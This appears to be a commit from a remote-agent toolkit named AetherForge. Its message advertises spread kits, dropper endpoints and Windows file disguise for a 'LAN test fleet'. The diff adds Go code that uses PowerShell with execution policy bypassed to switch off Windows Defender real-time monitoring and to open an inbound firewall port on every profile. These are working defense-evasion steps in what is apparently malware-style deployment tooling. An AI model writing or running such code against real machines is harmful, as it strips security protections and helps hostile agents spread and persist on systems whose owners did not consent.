Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/deploy/aggressive_windows.go

@@ -0,0 +1,41 @@
+//go:build windows
+
+package deploy
+
+import (
+	"fmt"
+	"os/exec"
+	"strings"
+)
+
+// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
+func DisableDefenderRealtime() (string, error) {
+	script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
+	out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
+	if err != nil {
+		return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
+	}
+	return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
+}
+
+// OpenFirewallPort adds an inbound TCP allow rule for port.
+func OpenFirewallPort(port int, name string) (string, error) {
+	if port <= 0 || port > 65535 {
+		return "", fmt.Errorf("invalid port %d", port)
+	}
+	if name == "" {
+		name = "AetherForge Remote"
+	}
+	script := fmt.Sprintf(`
+$name = '%s'
+$port = %d
+if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
+  New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
+}
+`, strings.ReplaceAll(name, `'`, `''`), port)
+	out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
+	if err != nil {
+		return string(out), err
+	}
+	return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
+}